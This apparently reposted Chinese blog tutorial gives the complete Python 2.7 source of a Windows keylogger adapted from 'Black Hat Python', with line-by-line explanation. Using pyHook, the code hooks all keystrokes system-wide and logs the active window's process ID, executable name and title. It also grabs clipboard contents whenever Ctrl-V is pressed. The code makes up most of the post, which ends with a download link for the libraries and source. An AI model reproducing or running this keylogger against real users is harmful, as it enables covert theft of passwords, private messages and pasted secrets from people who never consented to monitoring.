windows 键盘记录器(win10下测试成功)

源码很简单,主要就是python黑帽子中键盘记录器的内容。
操作系统环境是win10 64位,环境python2.7,
用到的第三方库pyHook,pythoncom,win32clipboard。这三个库文章最后有资源。
先看运行效果
windows 键盘记录器(win10下测试成功)_第1张图片
从上图中可以清楚看到,首先我在记事本中输入了一些文字,接着打开了Edge浏览器,在百度中搜索了一些内容。

下面是源码

# coding=utf-8
from ctypes import *
import pythoncom
import pyHook 
import win32clipboard

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
current_window = None

def get_current_process():

    # 获得前台窗口句柄
    hwnd = user32.GetForegroundWindow() #1

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid)) #2

    # 保存当前的进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)  #3

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #4

    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512) #5

    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) #6
    print
  

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

第一部分,定义了一些变量和一个函数get_current_process()。
这个函数的功能时获取当前活动的窗口及对应的进程ID。
在这个函数中。
#1 先调用GetForeGroundWindow函数。返回桌面上当前活动窗口的句柄。
#2 将上面获得的句柄作为参数调用GetWindowThreadProcessId。它返回对应的进程ID。
#3 打开进程,返回当前进程句柄。
#4 利用返回的句柄,获得进程对应的可执行文件的名字。
#5 通过调用GetWindowTextA函数,获得窗口标题栏中显示的文本字符。
#6 将所有的信息通过一种格式进程输出。

下面,完成键盘记录器的核心代码

def KeyStroke(event):

    global current_window   

    # 检查目标是否切换了窗口
    if event.WindowName != current_window: #1
        current_window = event.WindowName        
        get_current_process()

    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127: #2
        print chr(event.Ascii),
    else:
        # 如果输入为CTRV-V,则获得剪贴板内容
        if event.Key == "V": #3
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,

    # 返回直到下一个钩子事件被触发
    return True

# 创建和注册钩子函数管理器
kl = pyHook.HookManager() #4
kl.KeyDown = KeyStroke #5

# 注册键盘记录的钩子,然后永久执行
kl.HookKeyboard() #6
pythoncom.PumpMessages()

#4 定义了pyHook的HookManager管理器。
#5 将自定义的回调函数KetStroke 与 KeyDown事件进行了绑定。
#6 通过PyHook钩住了所有的按键事件,当目标按下键盘上的一个键时,KeyStroe函数就会被调用,它的参数时触发这个事件的对象。

#1 在这个函数中我们首先要做的时检查用户是否切换了窗口,如果切换了窗口,我们需要重新获取当前窗口的名字及进程信息。

#2 我们检查按键是否在可输出的ASCII码范围之内,如果是,输出即可,如果按键是修饰键(如Shift/Ctrl或Alt键)或其他非标准的按键,那么我们从事件的对象中提取按键的名称。

#3 我们检查用户是否在进行粘贴操作,如果是,我们提取剪贴板中的内容。
最后回调函数返回True来允许执行队列中的下个hook事件。

其中用到的第三方库和源码
https://download.csdn.net/download/weixin_39318421/12654631下载

你可能感兴趣的:(python,window,安全)